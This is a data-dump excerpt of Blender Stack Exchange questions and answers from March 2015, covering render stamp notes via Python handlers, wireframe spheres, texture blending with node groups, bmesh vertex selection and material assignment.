  <row Id="26644" PostTypeId="2" ParentId="26643" CreationDate="2015-03-05T11:17:26.200" Score="25" Body="&lt;p&gt;While Blender has no build-in support for this feature. You can do this using Python:&lt;/p&gt;&#xA;&lt;p&gt;Add a script into your file, call it &lt;code&gt;stamp_init.py&lt;/code&gt; (for example).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;strong&gt;Run Script&lt;/strong&gt; (only need to do once)&lt;/li&gt;&#xA;&lt;li&gt;Enable the &lt;strong&gt;Register&lt;/strong&gt; option in the text editor (so it runs automatically)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here is a sample script.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def stamp_set(scene):&#xA;    note =    &amp;quot;Samples: &amp;quot;         + str(scene.cycles.samples)&#xA;    note += &amp;quot;, ApertireBlades: &amp;quot;  + str(scene.camera.data.cycles.aperture_blades)&#xA;    note += &amp;quot;, Version: &amp;quot;         + bpy.app.version_string&#xA;    scene.render.stamp_note_text = note&#xA;&#xA;bpy.app.handlers.render_pre.append(stamp_set)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To add more settings you can find the data-paths to them by right clicking and selecting &lt;strong&gt;Copy Data-Path&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/55M0u.png&quot; alt=&quot;Stamp image&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Global Stamp (applies to any file you render)&lt;/h2&gt;&#xA;&lt;p&gt;Having to define a script in &lt;em&gt;every-file&lt;/em&gt; could be tedious, if you want to use these extra stamp options in &lt;em&gt;all&lt;/em&gt; your files, you can make this a &lt;code&gt;persistent&lt;/code&gt; handler.&lt;/p&gt;&#xA;&lt;p&gt;If you want to have the same stamp notes apply to all your renders (where the &lt;strong&gt;Note&lt;/strong&gt; is enabled). You can add the same script into your startup file and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;@bpy.app.handlers.persistent&#xA;def stamp_set(scene):&#xA;    .... same as before ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;String Formatting (further reading if you're new to Python)&lt;/h3&gt;&#xA;&lt;p&gt;Python has some clever ways you can format strings, see &lt;a href=&quot;https://docs.python.org/3/library/string.html&quot; rel=&quot;noreferrer&quot;&gt;Python docs&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This uses the &lt;code&gt;format&lt;/code&gt; method which some people may prefer.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def stamp_set(scene):&#xA;    scene.render.stamp_note_text = \&#xA;        &amp;quot;Samples: {samples}, Blades: {blades}, Version: {ver}&amp;quot;.format(&#xA;        samples=scene.cycles.samples,&#xA;        blades=scene.camera.data.cycles.aperture_blades,&#xA;        ver=bpy.app.version_string,&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;New Lines&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As of 2.77 the note will be wrapped onto new lines, you can also add in explicit &lt;code&gt;\n&lt;/code&gt; newline characters to format the text yourself.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Floating point numbers&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A lot could be written on this, just a quick hint, if you have unwanted precision removed, eg:&lt;code&gt;2.514000002324&lt;/code&gt; displayed as &lt;code&gt;2.51&lt;/code&gt;, there are a few ways to go about it.&lt;br&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you used &lt;code&gt;&amp;quot;Text &amp;quot; + str(some.number)&lt;/code&gt; you can use &lt;code&gt;round&lt;/code&gt;, eg:&lt;br&gt;&lt;code&gt;&amp;quot;Text &amp;quot; + str(round(some.number, 2))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you use the &lt;code&gt;format()&lt;/code&gt; method you can replace:&lt;br&gt;&lt;code&gt;{myvar}&lt;/code&gt; with &lt;code&gt;{myvar:.2f}&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For more details see &lt;a href=&quot;https://stackoverflow.com/a/455634/432509&quot;&gt;https://stackoverflow.com/a/455634/432509&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-09-15T04:43:34.533" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26645" PostTypeId="1" CreationDate="2015-03-05T11:18:29.480" Score="0" ViewCount="26" Body="&lt;p&gt;I had complete the paint on the object in Texture paint mode, after some time I had reopen that file, an object converted to pink color,why its happening like that.give me suggestion...&lt;/p&gt;&#xA;" OwnerUserId="12979" LastEditorUserId="12979" LastEditDate="2015-03-05T11:33:06.303" LastActivityDate="2015-03-05T11:33:06.303" Title="Why object looks pink color in texture paint when i reopen file?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-03-05T13:11:51.737" ContentLicense="CC BY-SA 3.0" />
  <row Id="26646" PostTypeId="1" AcceptedAnswerId="27643" CreationDate="2015-03-05T11:31:56.277" Score="5" ViewCount="1291" Body="&lt;p&gt;How would it be possible to have the render stamp information displayed outside the frame and also how to customize their font, opacity and position like so?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/te5EF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/te5EF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;(Click the image for larger version)&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="2217" LastEditDate="2015-03-06T02:12:37.360" LastActivityDate="2015-04-01T13:59:17.920" Title="How to display render stamp outside the frame?" Tags="&lt;rendering&gt;&lt;image&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26647" PostTypeId="1" AcceptedAnswerId="26651" CreationDate="2015-03-05T11:32:29.387" Score="4" ViewCount="762" Body="&lt;p&gt;I'm pretty new to Blender and I'm trying to create a perfectly round NURBS sphere. I need a wireframe of this sphere with big cells (like on the image below) but I also need curved (sic!) not straight edges of cells. Is there a way to do so?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSLyT.png&quot; alt=&quot;NURBS&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12980" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-05T15:34:36.380" Title="Rounded wireframe with big cells" Tags="&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26648" PostTypeId="2" ParentId="26646" CreationDate="2015-03-05T11:38:30.183" Score="3" Body="&lt;p&gt;No, Blender can't do this, if you want the image without having text overlayed on it, you can extract the information from the image though.&#xA;(See: &lt;a href=&quot;https://blender.stackexchange.com/questions/2651/read-image-metadata-produced-by-blender&quot;&gt;Read image metadata produced by Blender?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some image viewers will display meta-data along side the image too.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-03-05T11:38:30.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26649" PostTypeId="2" ParentId="26635" CreationDate="2015-03-05T11:56:21.830" Score="16" Body="&lt;p&gt;The key command &lt;kbd&gt;S&lt;/kbd&gt; is used to scale whatever is selected in the viewport, regardless of mode. However using the command &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to scale selection along the normals is only possible in Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you scale the object, all the distance ratios between various vertices and all angles will remain exactly the same, just get larger or smaller:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zkMTE.gif&quot; alt=&quot;Scale Edit Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when using the &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; command, blender will try to shrink or fatten the mesh. This can lead to unusual results if done on certain meshes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BTty2.gif&quot; alt=&quot;Shrink Fatten Edit Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that it works much better with more vertices. This really shows exactly what is happening. The inner vertices appear to have a greater weight, being moved a much greater distance. This leads to a convex shape after fattening, or a concave shape after shrinking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pyvtM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="1245" LastEditDate="2017-08-08T21:03:53.787" LastActivityDate="2017-08-08T21:03:53.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26650" PostTypeId="2" ParentId="26635" CreationDate="2015-03-05T11:59:37.063" Score="3" Body="&lt;p&gt;In &lt;em&gt;Object mode&lt;/em&gt; &lt;kbd&gt;S&lt;/kbd&gt; scales and &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; clears the scaling i.e. the scaling is reset to 1.&#xA;You can verify this in the &lt;em&gt;Properties Panel&lt;/em&gt; &lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZo9T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-05T11:59:37.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26651" PostTypeId="2" ParentId="26647" CreationDate="2015-03-05T12:15:51.770" Score="7" Body="&lt;p&gt;First, add a &lt;em&gt;UV Sphere&lt;/em&gt; to your scene. Now go into edit mode, make sure you are in Face select mode (press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt; and select Face) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;. Make the resulting edges as large as desired. Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; to invert the selection and then press &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;em&gt;&gt; Faces&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QTgLg.gif&quot; alt=&quot;Making the Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go into edit mode and select all by pressing &lt;kbd&gt;A&lt;/kbd&gt;, and then &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Subdivide Smooth&lt;/em&gt; and change the subdivisions up or down as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/znZ0L.gif&quot; alt=&quot;Subdividing the Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a &lt;em&gt;Solidify&lt;/em&gt; Modifier to your object to add some depth. You may also want to add a &lt;em&gt;Bevel&lt;/em&gt; modifier while you are at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mj08J.gif&quot; alt=&quot;Solidify Modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now have a nice smooth wireframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DnD5u.jpg&quot; alt=&quot;Final Result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-05T15:34:36.380" LastActivityDate="2015-03-05T15:34:36.380" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26652" PostTypeId="2" ParentId="13899" CreationDate="2015-03-05T12:43:33.583" Score="0" Body="&lt;p&gt;I was having problems with this too. I copied the text from the website and pasted it into NotePad++, but it was full of empty lines between the code lines. Blender appears to import this duff code without error, but still doesn't list it in the addons. The solution? Don't use Internet Explorer! When I opened the same code.google.com page in Chrome and copied the text, it then pastes into NotePad++ without the superfluous line spaces, and then everything works as expected within Blender.&lt;/p&gt;&#xA;" OwnerUserId="12982" LastActivityDate="2015-03-05T12:43:33.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26653" PostTypeId="1" CreationDate="2015-03-05T13:05:33.023" Score="0" ViewCount="2884" Body="&lt;p&gt;I've been working on a piggy robot model in Blender for some time, and I'm having some issues texturing in Cycles, specifically with the normal map.&lt;br&gt;&#xA;For some reason, Blender inverts half of my normal map on the model, which make the seams that are supposed to go inward are now sticking out (every line on the texture/normal map is supposed to be an indentation, like this, but without the lines being black, if you know what I mean:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/53PJBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;And this is what happens when I try to apply the normal map:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OmcCnm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Now I've tried to invert the green(y) and red(x) channel of my normal map in photoshop (with help of the nvidia plugin) but it turns the normal map slightly transparent, so when I use the png in blender, the whole texture becomes much darker (the material should be a glossy plastic material).&#xA;After that I tried to see if maybe changing the normal map node from 'tangent space' to 'blender object space', and that made the seams work, but also darkened the texture again, like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uCvVFm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm kinda lost as to what I'm supposed to do now.&lt;/p&gt;&#xA;" OwnerUserId="12983" OwnerDisplayName="Shade Sidihakis" LastEditorUserId="2217" LastEditDate="2015-03-07T14:29:06.967" LastActivityDate="2015-03-07T14:29:06.967" Title="normal map inverted in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26656" PostTypeId="1" CreationDate="2015-03-05T14:16:14.637" Score="5" ViewCount="5825" Body="&lt;p&gt;I plan on building a game where enemies are randomly generated throughout the game. I plan on using an empty to run a Python script where it will add a predefined object at a given position (using random.randint to place them randomly around the map).  Is there a specific Python command where I can say something like &quot;Create this object at this given x,y,z position&quot;?  If so, can you please tell me what it is and how to use it?  Also, what is the difference between a Module and a Script in the Python controller?  Thanks so much for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there a Python function that sets an object's X,Y,Z coordinates?  If so, the empty can jump around randomly dropping enemies off at it's position.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="12805" LastEditDate="2015-03-06T05:38:46.000" LastActivityDate="2015-03-27T06:07:01.593" Title="How to add an object at a specific posistion in Blender Game Engine" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26657" PostTypeId="1" AcceptedAnswerId="26671" CreationDate="2015-03-05T15:31:16.750" Score="2" ViewCount="1386" Body="&lt;p&gt;I have custom exporter which exports data from blender to opengl app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert meshes to opengl space I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global_matrix = axis_conversion(to_forward=&quot;-Z&quot;, to_up=&quot;Y&quot;).to_4x4()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when I export mesh I call &lt;code&gt;mesh.transform(global_matrix)&lt;/code&gt; and vertex position is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each object I export as reference to mesh and transform matrix.&#xA;To convert transform matrix I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;matrix_world = global_matrix * obj.matrix_world * global_matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I set axis_conversion forward to Z it works (but model is not facing camera), but -Z have wrong results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bellow is scene in blender, there are two triangle shaped objects and three cones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZ2D5.png&quot; alt=&quot;blender scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is wrong image, triangles are placed correctly but cones are upside down (used forward_axis -Z)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XbT6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image is shows objects exported with correct positions but wrong axis (used Z instead of -Z)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eVO2g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this? Why are the results wrong with -Z?&lt;/p&gt;&#xA;" OwnerUserId="8031" LastActivityDate="2016-04-15T11:27:45.347" Title="Export transformation from Blender to OpenGL" Tags="&lt;python&gt;&lt;export&gt;&lt;transforms&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26658" PostTypeId="1" CreationDate="2015-03-05T17:14:42.423" Score="5" ViewCount="193" Body="&lt;p&gt;So, I have a system that basically allows me to blend several images together over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is a horrible system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are keyframes tightly packed keyframes all over the dope sheet.  Here is it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Im2CB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manually wrote a GLSL shader to do this with OGRE3D back in the day,  could I plug that into blender?  I may have lost the code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="7777" LastEditDate="2015-03-05T17:56:10.223" LastActivityDate="2015-03-05T17:56:10.223" Title="How to blend between textures easily using nodes?" Tags="&lt;shaders&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26659" PostTypeId="2" ParentId="26658" CreationDate="2015-03-05T17:25:52.310" Score="3" Body="&lt;p&gt;I do not think there is an easier way to do it necessarily, however you can make a custom &lt;strong&gt;Group Node&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5oLX.jpg&quot; alt=&quot;Final Node Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the nodes you want to include (image textures and color mix nodes) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;. Then drag from the &lt;em&gt;Input&lt;/em&gt; node to the vectors and the mix values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixNg1.gif&quot; alt=&quot;Make Node Group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now edit all the values easily. Just press &lt;kbd&gt;Tab&lt;/kbd&gt; to go back to normal view, or &lt;kbd&gt;Tab&lt;/kbd&gt; again to edit the selected group node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, once it is created, you can add it in the scene by using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Group &gt; (group node name)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uszLd.jpg&quot; alt=&quot;Add Node Group&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-05T17:32:53.427" LastActivityDate="2015-03-05T17:32:53.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26660" PostTypeId="2" ParentId="26658" CreationDate="2015-03-05T17:43:42.777" Score="5" Body="&lt;p&gt;Sure there is a simpler setup, you can exploit math nodes to do really cool stuff. What I think you want to do is to &lt;strong&gt;blend between all 3 textures but using only 1 animated property&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cTkz5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kx0Bm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I used colors instead of textures but it is the same thing. You can also expand this setup for more than 3 inputs and still having to animate only 1 value.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-03-05T17:49:10.283" LastActivityDate="2015-03-05T17:49:10.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26661" PostTypeId="1" AcceptedAnswerId="26665" CreationDate="2015-03-05T18:39:35.540" Score="1" ViewCount="1365" Body="&lt;p&gt;I want to get the average z location of selected vertices in python.&#xA;And I want to select the vertices by their location using a range like (any vertices that lie in the range from 1 to 2 in the x axis).&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="2217" LastEditDate="2015-03-05T18:46:21.947" LastActivityDate="2015-03-05T19:33:23.420" Title="How to get average z location of selected vertices in python?" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26663" PostTypeId="2" ParentId="26661" CreationDate="2015-03-05T19:04:30.940" Score="2" Body="&lt;p&gt;This is for calculating the average Z of the selected vertices :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.mode_set(mode = 'OBJECT') &#xA;obj = bpy.context.active_object&#xA;s = i= 0&#xA;for v in obj.data.vertices:&#xA;    if v.select :&#xA;        s += v.co[2]&#xA;        i += 1&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT')     &#xA;a = s/i&#xA;print(a)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for selecting use the same loop and do a test :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.mode_set(mode = 'OBJECT') &#xA;obj = bpy.context.active_object&#xA;max = 2&#xA;min = 1&#xA;for v in obj.data.vertices:&#xA;    if v.co[0] &amp;lt; max and v.co[0] &amp;gt; min :&#xA;        v.select = True&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-05T19:04:30.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26664" PostTypeId="1" AcceptedAnswerId="26674" CreationDate="2015-03-05T19:05:19.450" Score="0" ViewCount="116" Body="&lt;p&gt;I'm modeling a character and am pretty far into it. I modeled the body first though and the face is in the center of the body (it's a cartoonish character). This means I'm gonna have to mess with the vertices in the center of the body to make the face. Can I make a face and then add it to the face or should I move the bodys vertices to make y face? I'm new to all of this so help from those of you is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-11-22T22:55:09.053" Title="Best way to add a face if I modeled the body first?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26665" PostTypeId="2" ParentId="26661" CreationDate="2015-03-05T19:33:23.420" Score="5" Body="&lt;p&gt;Bmesh module solutions for both tasks (edit-mode only so far):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;loc = [v.co.z for v in bm.verts if v.select]&#xA;if loc:&#xA;    avg = sum(loc) / len(loc)&#xA;    print(avg)&#xA;&#xA;bpy.ops.mesh.select_all(action='DESELECT')&#xA;&#xA;for v in bm.verts:&#xA;    if v.co.x &amp;lt; 2 and v.co.x &amp;gt; 1:&#xA;        v.select = True&#xA;bm.select_flush(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-03-05T19:33:23.420" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26666" PostTypeId="1" CreationDate="2015-03-05T19:45:29.733" Score="0" ViewCount="435" Body="&lt;p&gt;I used to run v2.63 in order to convert .cdt to .stl files.  In the newest version, this add-on doesn't seem to exist.  Is there a way I can add on this add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="12989" LastActivityDate="2015-03-05T19:45:29.733" Title="what happened to &quot;import export: cdt total importer&quot;?" Tags="&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26667" PostTypeId="1" AcceptedAnswerId="26668" CreationDate="2015-03-05T20:19:07.057" Score="2" ViewCount="10014" Body="&lt;p&gt;I imported an object with many faces and materials, but I only want some materials to apply to certain faces, how could I do this? When I add the material, it adds it to the entire thing, how do I do it for one face?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="3078" LastEditDate="2015-03-05T20:32:05.113" LastActivityDate="2017-06-22T13:43:02.020" Title="How to apply materials to specific faces only?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-03-05T20:52:49.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="26668" PostTypeId="2" ParentId="26667" CreationDate="2015-03-05T20:23:23.500" Score="4" Body="&lt;p&gt;This is actually pretty easy to do; first, go into &lt;em&gt;Edit Mode&lt;/em&gt;, by pressing &lt;kbd&gt;Tab&lt;/kbd&gt;, and select the faces on which you want the material to apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, go to the &lt;em&gt;Properties&lt;/em&gt; panel, and in the &lt;em&gt;Material&lt;/em&gt; tab, with the material you want selected on the list above, press &lt;em&gt;Assign&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zckNm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that you can also select/deselect the faces corresponding to a material, by pressing the respective button.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2017-06-22T13:43:02.020" LastActivityDate="2017-06-22T13:43:02.020" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26669" PostTypeId="1" CreationDate="2015-03-05T20:42:00.213" Score="2" ViewCount="1691" Body="&lt;p&gt;I've added two strips of images after the video strip and converted their blend mode to Alpha Over. But there is still no preview image in VSE when pressing &quot;Play&quot;. What should I do?&#xA;Filetype of images is PNG, version of Blender is 2.73, graphic card is gtx860, after rendering the part of video with images I see black screen.&lt;/p&gt;&#xA;" OwnerUserId="2980" LastActivityDate="2015-03-06T22:14:43.613" Title="Can't see any image preview in Video Sequence Editor" Tags="&lt;image&gt;&lt;video-sequence-editor&gt;&lt;blend-modes&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26670" PostTypeId="1" CreationDate="2015-03-05T20:51:25.547" Score="1" ViewCount="4655" Body="&lt;p&gt;After importing an image as a plane, with the corresponding addon, I switch the view shading mode to texture but the object is just &lt;em&gt;white&lt;/em&gt;. If I change the view to render I see the image. How can I work in texture mode and see the image?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rpRCq.png&quot; alt=&quot;viewport shading set to texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RE8ep.png&quot; alt=&quot;viewport shading set to render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12990" LastEditorUserId="12990" LastEditDate="2015-03-05T23:04:06.667" LastActivityDate="2016-08-17T20:22:34.163" Title="After using &quot;Import Images as Planes&quot;, texture doesn't show up" Tags="&lt;image&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
